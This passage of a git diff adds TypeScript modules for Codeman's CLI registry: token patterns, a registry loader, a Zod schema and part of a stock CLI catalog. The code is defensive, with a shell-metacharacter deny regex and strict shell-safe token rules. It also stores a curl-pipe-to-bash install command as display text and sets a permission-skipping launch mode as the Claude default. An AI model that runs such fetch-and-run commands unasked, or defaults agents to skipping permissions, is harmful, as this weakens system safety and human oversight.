a filesystem path, so it must be a + // single path segment. Requiring a leading alphanumeric is what rules out `.`, `..` and + // dotfile names, which `id-dotted` would happily accept. + 'path-segment': /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/, + // codex --config tui.animations=false + 'config-kv': /^[A-Za-z0-9._-]+=[A-Za-z0-9._-]+$/, + // Placeholder; `tool-list` is handled by isSafeToolList() below, not by a match. + 'tool-list': /^$/, +}; + +/** + * Shell metacharacters rejected in an `--allowedTools` value. Transcribed verbatim from + * buildClaudePermissionFlags so the accepted set does not move. + */ +const TOOL_LIST_DANGEROUS = /[;&|$`\\{}<>'"[\]\n\r]/; + +/** Does `value` satisfy the named pattern? */ +export function matchesPattern(pattern: TokenPattern, value: string): boolean { + if (pattern === 'tool-list') return value.length > 0 && !TOOL_LIST_DANGEROUS.test(value); + return PATTERNS[pattern].test(value); +} + +/** Every pattern name, for schema validation and error messages. */ +export const TOKEN_PATTERNS = Object.keys(PATTERNS) as TokenPattern[]; + +/** + * Characters a token may contain and still be emitted UNQUOTED into the `bash -c "..."` + * command string. Intentionally narrower than "what bash tolerates": anything outside it + * gets single-quoted, so the classification can only ever err toward more quoting. + */ +export const SAFE_BARE_TOKEN = /^[A-Za-z0-9._:@=+/,-]+$/; + +/** + * Longest `--version` output we will run a user-supplied regex over. A version banner is a + * line or two; anything larger is a misconfiguration, and capping the input is what keeps a + * sloppy (not necessarily malicious) regex from becoming a stall. + */ +export const MAX_VERSION_OUTPUT = 200; + +/** Longest permitted `discovery.version.regex` source. */ +const MAX_VERSION_REGEX_SOURCE = 200; + +/** + * Nested quantifiers — `(a+)+`, `(a*)*`, `(a+)*` and friends — the classic catastrophic + * backtracking shape. Rejected outright rather than analysed: this field exists to pull a + * semver out of a banner, and nothing legitimate for that job needs a nested quantifier. + */ +const NESTED_QUANTIFIER = /\([^)]*[+*][^)]*\)\s*[+*{]/; + +/** + * Compile a user-supplied version regex, or return null if it is not one we are willing to + * run. Returning null (rather than throwing) lets the caller degrade to "version unknown", + * which every consumer already handles. + */ +export function compileVersionRegex(source: string): RegExp | null { + if (source.length > MAX_VERSION_REGEX_SOURCE) return null; + if (NESTED_QUANTIFIER.test(source)) return null; + try { + // No `g`: a global regex carries lastIndex state across calls, which is a documented + // footgun in this codebase (see utils/regex-patterns.ts). + return new RegExp(source); + } catch { + return null; + } +} diff --git a/src/config/cli-registry/profiles.ts b/src/config/cli-registry/profiles.ts new file mode 100644 index 000000000..115191425 --- /dev/null +++ b/src/config/cli-registry/profiles.ts @@ -0,0 +1,100 @@ +/** + * @fileoverview The NAMES of code profiles a `CliEntry` field may select, and the helpers + * that validate them. + * + * A profile is the escape hatch for behaviour that is genuinely code-shaped and cannot be + * expressed as data — codex's predictive write-through echo, deepseek's profile-launcher + * runnability check, deepseek's status bridge — without letting any of that code branch on + * a CLI's id. A registry field names a profile; the implementation lives beside whatever it + * needs, and looks its name up here. + * + * ⚠️ This module is PURE and must stay that way: names, types and predicates only, no + * imports outside this directory. The implementations pull in resolvers and the status + * shim, which in turn reach back into the registry, so holding them here would close an + * import cycle (profiles → deepseek-cli-resolver → cli-resolver → registry → schema → + * profiles). Keeping the names here and the implementations at their call sites is what + * lets `schema.ts` validate a profile name at LOAD time — a custom entry naming a profile + * this build does not implement fails loudly instead of silently failing closed later. + * + * The rule all of this enforces: `test/cli-registry-no-id-branching.test.ts` fails on any + * `mode === ''` comparison outside `stock.ts`, so a NEW behavioural special case + * must be added here, named, and referenced from a registry field — never inlined as an id + * check at the call site. + * + * ⚠️ A profile is a LAST resort, not a convenience. Reach for one only when the behaviour + * needs to run code (a side effect, a computed value, a probe); anything that is a list, a + * flag, or a string belongs in the entry as data, where a custom CLI can also use it. + * + * @module config/cli-registry/profiles + */ + +/** + * Predictive local-echo profiles, selected via `capabilities.echo.predictProfile`. + * + * Implementation: packages/xterm-zerolag-input/src/predictive-echo-addon.ts. + * + * ⚠️ Unlike the other two registries, an unknown name here degrades to the 'buffer' policy + * rather than failing. Echo is a comfort feature — a worse-but-working overlay beats a + * refused session — which is why `predictProfile` alone is not schema-validated below. + */ +export const PREDICT_PROFILES: Record = { + codex: true, +}; + +/** + * Launcher profiles, selected via `discovery.launcherProfile`. + * + * For a CLI whose binary launches some further target, and so cannot answer two questions + * from the binary alone: is it RUNNABLE (stricter than "is the binary on disk?"), and what + * is the DEFAULT target when the caller names none? A CLI naming no profile is runnable + * exactly when its binary resolves, and has no default target. + * + * Implementation: `src/utils/cli-launcher.ts`. + */ +export const LAUNCHER_PROFILE_NAMES = [ + // `dsh` is a launcher over $DSH_HOME/profiles/, and the profiles DeepSeek itself + // ships (web, headless) cannot drive a terminal pane. Binary AND a pane-capable profile. + 'deepseek-profile', +] as const; + +/** + * Extra `tmux setenv` work, selected via `env.setenvProfile`. + * + * Implementation: `src/tmux-manager.ts`, which already owns every setenv call. + * + * ⚠️ Anything that is merely "forward this name from the server's own env" belongs in + * `env.tmuxSetenvKeys` as data and must NOT be given a profile. + */ +export const SETENV_PROFILE_NAMES = [ + // DeepSeek's terminal front door reports idle/working/blocked to a supervisor over the + // generic env-gated Herdr contract; this makes Codeman that supervisor. It needs a + // profile rather than key names because it writes an executable shim to disk and then + // exports that shim's path along with the session's own pane id. + 'deepseek-status-bridge', +] as const; + +export type LauncherProfileName = (typeof LAUNCHER_PROFILE_NAMES)[number]; +export type SetenvProfileName = (typeof SETENV_PROFILE_NAMES)[number]; + +/** + * Transcript readers, selected via `capabilities.transcript`. Unlike the profile registries + * above this one is closed over the schema enum itself rather than an open string, since + * transcript format is a small, genuinely fixed set — see CliCapabilities['transcript']. + */ +export const TRANSCRIPT_READER_NAMES = ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none'] as const; + +/** Composer-row finders, selected via `capabilities.echo.anchor.kind`. Also schema-closed. */ +export const COMPOSER_ANCHOR_KINDS = ['glyph', 'cursor', 'none'] as const; + +/** True when `name` is a predictive-echo profile this build actually implements. */ +export function isKnownPredictProfile(name: string | undefined): boolean { + return name !== undefined && Object.prototype.hasOwnProperty.call(PREDICT_PROFILES, name); +} + +export function isKnownLauncherProfile(name: string): name is LauncherProfileName { + return (LAUNCHER_PROFILE_NAMES as readonly string[]).includes(name); +} + +export function isKnownSetenvProfile(name: string): name is SetenvProfileName { + return (SETENV_PROFILE_NAMES as readonly string[]).includes(name); +} diff --git a/src/config/cli-registry/registry.ts b/src/config/cli-registry/registry.ts new file mode 100644 index 000000000..7e87cd07a --- /dev/null +++ b/src/config/cli-registry/registry.ts @@ -0,0 +1,209 @@ +/** + * @fileoverview Loads, merges and re-validates the CLI registry. + * + * `~/.codeman/clis.json` holds OVERRIDES and CUSTOM entries only — never a full copy of the + * stock catalog — so a shipped fix to a stock definition actually reaches an existing + * install, and the file stays small enough to hand-edit. + * + * Resolution: start from `STOCK_CLIS` → deep-merge each override by id (objects merge + * key-wise, arrays replace wholesale) → validate every resulting entry. A stock entry that + * fails validation after merge falls back to its pristine stock definition (a fat-fingered + * override cannot brick a shipped CLI); a custom entry that fails is dropped with a warning + * rather than failing the whole load. Stock entries are always emitted, so `shell` and + * `claude` can be disabled but can never go missing — large parts of the app assume at + * minimum that a shell fallback exists. + * + * ⚠️ READ-ONLY. Nothing in this module writes, creates or migrates the file. That is a + * deliberate property, not a missing feature: there is no settings UI and no write API yet, + * so there is nothing to persist, and it means importing the registry — which + * `src/web/schemas.ts` does, transitively, just to validate a request — performs no + * filesystem writes. A `seededStockIds` ratchet belongs with the write API that needs it. + * + * @module config/cli-registry/registry + */ + +import { existsSync, readFileSync, renameSync, statSync } from 'node:fs'; +import { dataPath } from '../instance.js'; +import type { CliEntry, CliId, CliRegistryFile } from './types.js'; +import { CliEntrySchema } from './schema.js'; +import { STOCK_CLIS } from './stock.js'; + +/** Construct a validated CliId. Throws if `raw` is not a well-formed id — call at API boundaries. */ +export function asCliId(raw: string): CliId { + if (!/^[a-z][a-z0-9-]{0,23}$/.test(raw)) { + throw new Error(`invalid CLI id: ${JSON.stringify(raw)}`); + } + return raw as CliId; +} + +function filePath(): string { + return dataPath('clis.json'); +} + +/** Plain-object deep merge: nested objects merge key-wise, arrays and primitives replace. */ +function deepMerge(base: T, override: unknown): T { + if (override === null || typeof override !== 'object' || Array.isArray(override)) { + return (override === undefined ? base : (override as T)) ?? base; + } + if (base === null || typeof base !== 'object' || Array.isArray(base)) { + return override as T; + } + const result: Record = { ...(base as Record) }; + for (const [key, value] of Object.entries(override as Record)) { + result[key] = deepMerge((base as Record)[key], value); + } + return result as T; +} + +export interface LoadResult { + entries: CliEntry[]; + warnings: string[]; +} + +/** + * Refuse a group/world-writable registry file — same posture as the ssh-key discipline. + * This file selects the binaries Codeman spawns, so a writable one is a way to redirect + * every session. + * + * POSIX only: Windows has no meaningful group/world bits on NTFS (Node reports every file + * as mode 0o666 there regardless of its actual ACL), so this check would flag every file on + * Windows and silently ignore all user config. `win32` relies on NTFS ACLs instead, which + * this check cannot see and does not attempt to. + */ +function isUnsafePermissions(path: string): boolean { + if (process.platform === 'win32') return false; + try { + const mode = statSync(path).mode & 0o777; + return (mode & 0o077) !== 0; + } catch { + return false; + } +} + +function readRegistryFile(path: string, warnings: string[]): CliRegistryFile | null { + if (!existsSync(path)) return null; + if (isUnsafePermissions(path)) { + warnings.push(`${path} is group/world-writable; ignoring it and falling back to stock CLIs.`); + return null; + } + let raw: string; + try { + raw = readFileSync(path, 'utf-8'); + } catch (err) { + warnings.push(`Failed to read ${path}: ${(err as Error).message}. Falling back to stock CLIs.`); + return null; + } + try { + const parsed = JSON.parse(raw) as CliRegistryFile; + if (typeof parsed !== 'object' || parsed === null || typeof parsed.clis !== 'object') { + throw new Error('missing "clis" object'); + } + return parsed; + } catch (err) { + // QUARANTINE, never overwrite: the file is hand-editable, so a syntax error is far more + // likely to be a half-finished edit than junk. Renaming keeps the user's work. + const quarantined = `${path}.invalid-${Date.now()}`; + try { + renameSync(path, quarantined); + warnings.push(`${path} was not valid JSON (${(err as Error).message}); moved to ${quarantined}.`); + } catch { + warnings.push( + `${path} was not valid JSON (${(err as Error).message}); left in place, falling back to stock CLIs.` + ); + } + return null; + } +} + +/** + * Merge the stock catalog with a (possibly absent) registry file. PURE — no IO, which is + * what lets the load tests drive every merge case directly. + */ +export function resolveRegistry(stock: CliEntry[], file: CliRegistryFile | null, warnings: string[]): LoadResult { + const stockById = new Map(stock.map((e) => [e.id as string, e])); + const overrides = file?.clis ?? {}; + const entries: CliEntry[] = []; + + for (const stockEntry of stock) { + const id = stockEntry.id as string; + const override = overrides[id]; + const merged = override ? deepMerge(stockEntry, override) : stockEntry; + // `stock: true` is forced here rather than read from the merged object, so an override + // can never flip a custom entry's provenance or vice versa. + const parsed = CliEntrySchema.safeParse({ ...merged, id, stock: true }); + if (parsed.success) { + entries.push(parsed.data as CliEntry); + } else { + warnings.push( + `Override for stock CLI "${id}" failed validation; using the shipped definition. ${parsed.error.message}` + ); + entries.push(stockEntry); + } + } + + for (const [id, raw] of Object.entries(overrides)) { + if (stockById.has(id)) continue; // already merged above + // Same forcing in the other direction: a custom entry claiming `stock: true` cannot + // shadow or impersonate a shipped one. + const parsed = CliEntrySchema.safeParse({ ...(raw as object), id, stock: false }); + if (parsed.success) { + entries.push(parsed.data as CliEntry); + } else { + warnings.push(`Custom CLI "${id}" failed validation and was dropped. ${parsed.error.message}`); + } + } + + entries.sort((a, b) => a.order - b.order); + return { entries, warnings }; +} + +let cache: LoadResult | null = null; + +/** + * Load the effective registry (stock + user overrides). Memoized for the process lifetime; + * `reloadCliRegistry()` invalidates. + */ +export function loadCliRegistry(): LoadResult { + if (cache) return cache; + const warnings: string[] = []; + const existing = readRegistryFile(filePath(), warnings); + cache = resolveRegistry(STOCK_CLIS, existing, warnings); + return cache; +} + +/** Drop the memoized registry so the next `loadCliRegistry()` re-reads the file. */ +export function reloadCliRegistry(): void { + cache = null; +} + +export function listClis(): CliEntry[] { + return loadCliRegistry().entries; +} + +export function enabledClis(): CliEntry[] { + return listClis().filter((e) => e.enabled); +} + +export function getCli(id: string): CliEntry | undefined { + return listClis().find((e) => (e.id as string) === id); +} + +export function cliIds(): string[] { + return listClis().map((e) => e.id as string); +} + +/** Every enabled entry's id, in registry order. */ +export function enabledCliIds(): string[] { + return enabledClis().map((e) => e.id as string); +} + +/** + * Resolve the install command for the current platform, falling back to the linux one (the + * common case for a `curl | bash` or `npm install -g` line) and then to whatever is + * declared. Display text only — never executed. See CliDiscovery.install.command. + */ +export function resolveInstallCommandForPlatform(entry: CliEntry): string | undefined { + const { command } = entry.discovery.install; + const platform = process.platform as 'linux' | 'darwin' | 'win32'; + return command[platform] ?? command.linux ?? Object.values(command)[0]; +} diff --git a/src/config/cli-registry/schema.ts b/src/config/cli-registry/schema.ts new file mode 100644 index 000000000..a8f3c52e6 --- /dev/null +++ b/src/config/cli-registry/schema.ts @@ -0,0 +1,409 @@ +/** + * @fileoverview Zod validation for CLI registry entries. + * + * Every object here is `.strict()`: an unknown key is a hard validation error, not a + * silently-ignored one. That matters for a security-relevant schema — a typo in a field name + * must never degrade to "field absent, so the permissive default applies". + * + * The load-bearing rule enforced here is `SHELL_TOKEN`: it is what makes it impossible for a + * `clis.json` entry to smuggle shell metacharacters into the eventual `bash -c "..."` string + * (see argv.ts's file header for the full model). + * + * @module config/cli-registry/schema + */ + +import { z } from 'zod'; +import { TOKEN_PATTERNS } from './patterns.js'; +import { isKnownLauncherProfile, isKnownSetenvProfile } from './profiles.js'; + +/** A bare CLI id: lowercase, starts with a letter, at most 24 chars. Also used as a CSS/URL token. */ +const cliId = z + .string() + .regex(/^[a-z][a-z0-9-]{0,23}$/, 'id must be lowercase, start with a letter, and be at most 24 chars'); + +/** An env var name. */ +const envName = z + .string() + .regex(/^[A-Z_][A-Z0-9_]*$/, 'env var name must be UPPER_SNAKE_CASE') + .max(64); + +/** + * A shell-safe bare word: no space, quote, backtick, `$`, `;`, `&`, `|`, `<`, `>`, parens, + * braces, newline or backslash. Every LITERAL in the launch spec (base command, flag names, + * fixed values) must satisfy this — see argv.ts's file header. + */ +const shellToken = z + .string() + .min(1) + .max(256) + .regex(/^[A-Za-z0-9._:@=+/,-]+$/, 'must be a plain word with no shell metacharacters'); + +const flagToken = z.string().regex(/^--?[A-Za-z0-9][A-Za-z0-9-]*$/, 'must look like -x or --long-flag'); + +const quoteStyle = z.enum(['auto', 'bare', 'double', 'single']); + +const condSchema: z.ZodType = z.lazy(() => + z.union([ + z.object({ param: z.string(), is: z.union([z.string(), z.boolean()]) }).strict(), + z.object({ param: z.string(), state: z.enum(['set', 'unset']) }).strict(), + z.object({ allOf: z.array(condSchema).min(1).max(8) }).strict(), + z.object({ anyOf: z.array(condSchema).min(1).max(8) }).strict(), + z.object({ not: condSchema }).strict(), + z.object({ capabilityGate: z.string() }).strict(), + ]) +); + +const paramSpecSchema = z.union([ + z + .object({ type: z.literal('enum'), values: z.array(z.string()).min(1).max(16), default: z.string().optional() }) + .strict(), + z.object({ type: z.literal('bool') }).strict(), + z.object({ type: z.literal('token'), pattern: z.enum(TOKEN_PATTERNS as [string, ...string[]]) }).strict(), + z + .object({ + type: z.literal('engine'), + source: z.enum([ + 'sessionId', + 'sessionName', + 'muxName', + 'effortLevel', + 'effortSettingsJson', + 'codemanPrefixedSessionId', + 'launcherDefaultTarget', + ]), + }) + .strict(), +]); + +const argSpecSchema = z.union([ + z.object({ lit: shellToken, when: condSchema.optional() }).strict(), + z.object({ flag: flagToken, when: condSchema.optional() }).strict(), + z.object({ flag: flagToken, value: shellToken, quote: quoteStyle.optional(), when: condSchema.optional() }).strict(), + z + .object({ flag: flagToken, valueFrom: z.string(), quote: quoteStyle.optional(), when: condSchema.optional() }) + .strict(), + z.object({ valueFrom: z.string(), quote: quoteStyle.optional(), when: condSchema.optional() }).strict(), +]); + +const variantSchema = z + .object({ + id: z.string().min(1).max(40), + when: condSchema.optional(), + // min(0): the `shell` entry declares a variant with no args — tmux-manager resolves the + // real login shell in code, since it varies per remote user's /etc/passwd entry. + args: z.array(argSpecSchema).max(32), + }) + .strict(); + +const launchSchema = z + .object({ + params: z.record(z.string(), paramSpecSchema), + chain: z.enum(['first', 'fallback']).optional(), + variants: z.array(variantSchema).min(1).max(4), + legacyConfigAliases: z.record(z.string(), z.string()).optional(), + legacyConfigField: z.string().min(1).max(40).optional(), + resumeAppend: z + .union([ + z.object({ style: z.literal('flag'), flag: flagToken }).strict(), + z.object({ style: z.literal('positional'), token: shellToken }).strict(), + ]) + .optional(), + }) + .strict() + .superRefine((launch, ctx) => { + const paramNames = new Set(Object.keys(launch.params)); + const checkValueFrom = (name: string, path: (string | number)[]) => { + if (!paramNames.has(name)) { + ctx.addIssue({ code: 'custom', message: `valueFrom "${name}" is not a declared param`, path }); + } + }; + launch.variants.forEach((variant, vi) => { + variant.args.forEach((arg, ai) => { + if ('valueFrom' in arg) checkValueFrom(arg.valueFrom, ['variants', vi, 'args', ai, 'valueFrom']); + }); + }); + if (launch.chain === 'fallback') { + const last = launch.variants.at(-1); + if (last?.when) { + ctx.addIssue({ + code: 'custom', + message: 'the last variant of a fallback chain must have no `when` (it must be the guaranteed terminal case)', + path: ['variants', launch.variants.length - 1, 'when'], + }); + } + } + if (launch.legacyConfigAliases) { + for (const paramName of Object.keys(launch.legacyConfigAliases)) { + if (!paramNames.has(paramName)) { + ctx.addIssue({ + code: 'custom', + message: `legacyConfigAliases key "${paramName}" is not a declared param`, + path: ['legacyConfigAliases', paramName], + }); + } + } + } + }); + +const versionProbeSchema = z + .object({ + arg: shellToken, + regex: z.string().max(200).optional(), + requireVersionMatch: z.boolean().optional(), + retryOnTransientFailure: z.boolean().optional(), + }) + .strict(); + +const identityProbeSchema = z + .object({ + arg: shellToken, + // Same 200-char cap as version.regex, and compiled through the same compileVersionRegex() + // guard at use time. This is the second and last config-supplied regex in the registry. + regex: z.string().min(1).max(200), + }) + .strict(); + +const discoverySchema = z + .object({ + // min(0): the `shell` entry has no binary of its own (it resolves the login shell in code). + binaries: z.array(shellToken).max(4), + searchDirs: z.array(z.string().max(300)).max(16), + version: versionProbeSchema.optional(), + identity: identityProbeSchema.optional(), + launcherProfile: z.string().max(40).optional(), + launcherTargetParam: z.string().max(40).optional(), + install: z + .object({ + // z.record with an enum key type requires every enum member in Zod v4; the install + // command legitimately varies by platform and most entries only need one or two, so + // this is a plain object of optional platform keys instead. + command: z + .object({ + linux: z.string().max(500).optional(), + darwin: z.string().max(500).optional(), + wsl: z.string().max(500).optional(), + win32: z.string().max(500).optional(), + }) + .strict(), + npmPackage: z.string().max(200).optional(), + docsUrl: z.url().optional(), + }) + .strict(), + }) + .strict(); + +const envExportSchema = z + .object({ + name: envName, + value: z.union([ + shellToken, + z + .object({ + engine: z.enum([ + 'sessionId', + 'sessionName', + 'muxName', + 'effortLevel', + 'effortSettingsJson', + 'codemanPrefixedSessionId', + 'launcherDefaultTarget', + ]), + }) + .strict(), + ]), + when: condSchema.optional(), + }) + .strict(); + +const envSchema = z + .object({ + exports: z.array(envExportSchema).max(16), + unset: z.array(envName).max(16), + tmuxSetenvKeys: z.array(envName).max(32), + dockerExecEnvNames: z.array(envName).max(32), + configSetenv: z + .array(z.object({ name: envName, fromParam: z.string().min(1).max(40) }).strict()) + .max(8) + .optional(), + allowedPrefixes: z + .array( + z + .string() + .min(3) + .max(32) + .regex(/^[A-Z][A-Z0-9_]*_$/) + ) + .max(8), + allowedKeys: z.array(envName).max(8), + configContentVar: envName.optional(), + setenvProfile: z.string().max(40).optional(), + }) + .strict(); + +const echoSchema = z + .object({ + policy: z.enum(['buffer', 'predict', 'off']), + anchor: z.union([ + z + .object({ kind: z.literal('glyph'), glyph: z.string().min(1).max(4), offset: z.number().int().min(0).max(16) }) + .strict(), + z.object({ kind: z.literal('cursor') }).strict(), + z.object({ kind: z.literal('none') }).strict(), + ]), + predictProfile: z.string().max(40).optional(), + }) + .strict(); + +const capabilitiesSchema = z + .object({ + external: z.boolean(), + requiresMux: z.boolean(), + hooks: z.enum(['none', 'always', 'supervised']), + transcript: z.enum(['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']), + altScreen: z.enum(['strip-full', 'strip-mux-only', 'preserve']), + echo: echoSchema, + wheelForward: z + .object({ mode: z.enum(['never', 'version-gated']), minVersion: z.string().max(20).optional() }) + .strict(), + keyboardAccessory: z.enum(['agent', 'shell']), + privilegedCommandGate: z.boolean(), + startMode: z.enum(['interactive', 'shell']), + stripInkBloat: z.boolean(), + ralph: z.boolean(), + respawn: z.boolean(), + effort: z.boolean(), + agentSkillInjection: z.boolean(), + statusLineTelemetry: z.boolean(), + model: z + .object({ source: z.enum(['flag', 'claude-settings-file', 'none']), param: z.string().optional() }) + .strict(), + privilegedParams: z + .array( + z + .object({ + param: z.string(), + clampTo: z.union([z.boolean(), z.string()]), + materializeWhenAbsent: z.boolean().optional(), + }) + .strict() + ) + .max(8), + // Exact env var NAMES, not prefixes: this list is a targeted deny, and a prefix here + // would let one entry silently strip a whole namespace off every owner's overrides. + privilegedEnvKeys: z.array(envName).max(8), + gates: z.record(z.string(), z.object({ minVersion: z.string().max(20), failClosed: z.boolean() }).strict()), + maxFrameBytes: z.number().int().positive().optional(), + }) + .strict(); + +const credStoreSchema = z + .object({ + rel: z.string().min(1).max(100), + shareDirs: z.array(z.string().max(100)).optional(), + shareFiles: z.array(z.string().max(100)).optional(), + seedFiles: z.array(z.string().max(100)).optional(), + seedWhole: z.boolean().optional(), + }) + .strict(); + +/** + * A remote/docker default pane command: space-separated bare words from the SAME safe + * charset as `shellToken` (no shell metacharacters), so `claude --dangerously-skip-permissions` + * is expressible while still excluding `;`, `|`, `$`, backticks and quotes — this is not an + * escape hatch into arbitrary shell text, it is one bare command plus bare flags. + */ +const commandLine = z + .string() + .min(1) + .max(200) + .regex( + /^[A-Za-z0-9._:@=+/,-]+( [A-Za-z0-9._:@=+/,-]+)*$/, + 'must be space-separated bare words with no shell metacharacters' + ); + +const overlayTargetSchema = z.union([ + z.object({ command: commandLine.optional() }).strict(), + z.object({ disabled: z.literal(true) }).strict(), +]); + +const overlaysSchema = z + .object({ + remote: overlayTargetSchema.optional(), + docker: overlayTargetSchema.optional(), + credStore: credStoreSchema.optional(), + }) + .strict(); + +export const CliEntrySchema = z + .object({ + id: cliId, + label: z.string().min(1).max(60), + shortBadge: z.string().min(1).max(6), + accent: z.string().regex(/^#[0-9a-fA-F]{6}$/, 'accent must be a 6-digit hex colour'), + enabled: z.boolean(), + stock: z.boolean(), + order: z.number().int(), + kind: z.enum(['agent', 'shell']), + discovery: discoverySchema, + launch: launchSchema, + env: envSchema, + capabilities: capabilitiesSchema, + overlays: overlaysSchema, + }) + .strict() + .superRefine((entry, ctx) => { + const gateNames = new Set(Object.keys(entry.capabilities.gates)); + const walkConds = (cond: import('./types.js').Cond | undefined) => { + if (!cond) return; + if ('capabilityGate' in cond && !gateNames.has(cond.capabilityGate)) { + ctx.addIssue({ + code: 'custom', + message: `capabilityGate "${cond.capabilityGate}" is not declared in capabilities.gates`, + }); + } + if ('allOf' in cond) cond.allOf.forEach(walkConds); + if ('anyOf' in cond) cond.anyOf.forEach(walkConds); + if ('not' in cond) walkConds(cond.not); + }; + for (const variant of entry.launch.variants) { + walkConds(variant.when); + for (const arg of variant.args) walkConds(arg.when); + } + + // Reject a profile name this build does not implement, rather than letting it fail + // closed at use time. An unimplemented `launcherProfile` would make the CLI look + // permanently uninstalled, and an unimplemented `setenvProfile` would silently skip + // setup the CLI needs; both are far easier to diagnose as a load-time error naming the + // field. (`echo.predictProfile` is deliberately NOT checked here — see profiles.ts.) + const { launcherProfile } = entry.discovery; + if (launcherProfile !== undefined && !isKnownLauncherProfile(launcherProfile)) { + ctx.addIssue({ + code: 'custom', + message: `discovery.launcherProfile "${launcherProfile}" is not a profile this build implements`, + path: ['discovery', 'launcherProfile'], + }); + } + // An env var exported from a param that does not exist would silently export nothing, + // and for DSH_PERMISSION_MODE that means silently losing a permission clamp. + const declaredParams = new Set(Object.keys(entry.launch.params)); + entry.env.configSetenv?.forEach((mapping, i) => { + if (!declaredParams.has(mapping.fromParam)) { + ctx.addIssue({ + code: 'custom', + message: `configSetenv fromParam "${mapping.fromParam}" is not a declared launch param`, + path: ['env', 'configSetenv', i, 'fromParam'], + }); + } + }); + + const { setenvProfile } = entry.env; + if (setenvProfile !== undefined && !isKnownSetenvProfile(setenvProfile)) { + ctx.addIssue({ + code: 'custom', + message: `env.setenvProfile "${setenvProfile}" is not a profile this build implements`, + path: ['env', 'setenvProfile'], + }); + } + }); + +export type ValidatedCliEntry = z.infer; diff --git a/src/config/cli-registry/stock.ts b/src/config/cli-registry/stock.ts new file mode 100644 index 000000000..d44fc9870 --- /dev/null +++ b/src/config/cli-registry/stock.ts @@ -0,0 +1,915 @@ +/** + * @fileoverview The shipped stock catalog — one `CliEntry` per CLI Codeman supports out of + * the box, transcribed to be byte-identical (via the argv engine) to the hand-written + * builders in tmux-manager.ts that they replace. + * + * This is the ONE file allowed to know a CLI's id by name (`test/cli-registry-no-id-branching + * .test.ts` enforces that nowhere else does). Everything downstream — session.ts, + * tmux-manager.ts, the routes, the frontend — reads capability flags, never `entry.id ===`. + * + * @module config/cli-registry/stock + */ + +import type { CliEntry } from './types.js'; + +const HOME_DIRS = { + local: '~/.local/bin', + usrLocal: '/usr/local/bin', + bunBin: '~/.bun/bin', + npmGlobal: '~/.npm-global/bin', + homeBin: '~/bin', +}; + +const NO_GATES = {}; +const NO_PRIVILEGED_PARAMS: CliEntry['capabilities']['privilegedParams'] = []; +/** + * The common case: every CLI whose privileged switch is a command-line FLAG, reachable + * only through its own config object and therefore already covered by `privilegedParams`. + * DeepSeek is the sole exception — its switch is an env var. See CliCapabilities. + */ +const NO_PRIVILEGED_ENV_KEYS: CliEntry['capabilities']['privilegedEnvKeys'] = []; + +/** Shared skeleton for the "agent CLI, no unusual behaviour" case (pi's own shape). */ +function agentDefaults(): Pick< + CliEntry['capabilities'], + | 'external' + | 'requiresMux' + | 'hooks' + | 'transcript' + | 'altScreen' + | 'wheelForward' + | 'keyboardAccessory' + | 'privilegedCommandGate' + | 'startMode' + | 'stripInkBloat' + | 'ralph' + | 'respawn' + | 'effort' + | 'agentSkillInjection' + | 'statusLineTelemetry' + | 'model' + | 'privilegedParams' + | 'privilegedEnvKeys' + | 'gates' +> { + return { + external: true, + requiresMux: true, + hooks: 'none', + transcript: 'none', + altScreen: 'strip-mux-only', + wheelForward: { mode: 'never' }, + keyboardAccessory: 'agent', + privilegedCommandGate: false, + startMode: 'interactive', + stripInkBloat: true, + ralph: false, + respawn: false, + effort: false, + agentSkillInjection: false, + statusLineTelemetry: false, + model: { source: 'flag', param: 'model' }, + privilegedParams: NO_PRIVILEGED_PARAMS, + privilegedEnvKeys: NO_PRIVILEGED_ENV_KEYS, + gates: NO_GATES, + }; +} + +const CLAUDE: CliEntry = { + id: 'claude' as CliEntry['id'], + label: 'Claude', + shortBadge: 'CC', + accent: '#d97757', + enabled: true, + stock: true, + order: 0, + kind: 'agent', + discovery: { + binaries: ['claude'], + searchDirs: [HOME_DIRS.local, '~/.claude/local', HOME_DIRS.usrLocal, HOME_DIRS.npmGlobal, HOME_DIRS.homeBin], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)', retryOnTransientFailure: true }, + install: { + command: { + linux: 'curl -fsSL https://claude.ai/install.sh | bash', + darwin: 'curl -fsSL https://claude.ai/install.sh | bash', + wsl: 'curl -fsSL https://claude.ai/install.sh | bash', + }, + npmPackage: '@anthropic-ai/claude-code', + docsUrl: 'https://docs.claude.com/claude-code', + }, + }, + launch: { + chain: 'fallback', + params: { + claudeMode: { + type: 'enum', + values: ['dangerously-skip-permissions', 'auto', 'normal', 'allowedTools'], + default: 'dangerously-skip-permissions', + }, + allowedTools: { type: 'token', pattern: 'tool-list' }, + model: { type: 'token', pattern: 'model-claude' }, + resumeId: { type: 'token', pattern: 'uuid' }, + // buildEffortCliArgs carries `ultracode` as a settings JSON blob and every other + // level as a plain `--effort ` flag — two engine values because the two + // shapes are mutually exclusive and neither is user-typed text (both are produced + // from the EFFORT_LEVELS allowlist upstream, same as every other engine value). + effortLevel: { type: 'engine', source: 'effortLevel' }, + effortJson: { type: 'engine', source: 'effortSettingsJson' }, + sessionId: { type: 'engine', source: 'sessionId' }, + sessionName: { type: 'engine', source: 'sessionName' }, + }, + variants: [ + { + id: 'resume', + when: { param: 'resumeId', state: 'set' }, + args: [ + { lit: 'claude' }, + { flag: '--dangerously-skip-permissions', when: { param: 'claudeMode', is: 'dangerously-skip-permissions' } }, + { flag: '--permission-mode', value: 'auto', when: { param: 'claudeMode', is: 'auto' } }, + { + flag: '--allowedTools', + valueFrom: 'allowedTools', + quote: 'double', + when: { + allOf: [ + { param: 'claudeMode', is: 'allowedTools' }, + { param: 'allowedTools', state: 'set' }, + ], + }, + }, + { flag: '--resume', valueFrom: 'resumeId', quote: 'double' }, + { flag: '--model', valueFrom: 'model', quote: 'double', when: { param: 'model', state: 'set' } }, + { flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } }, + { flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } }, + { flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } }, + ], + }, + { + id: 'new', + args: [ + { lit: 'claude' }, + { flag: '--dangerously-skip-permissions', when: { param: 'claudeMode', is: 'dangerously-skip-permissions' } }, + { flag: '--permission-mode', value: 'auto', when: { param: 'claudeMode', is: 'auto' } }, + { + flag: '--allowedTools', + valueFrom: 'allowedTools', + quote: 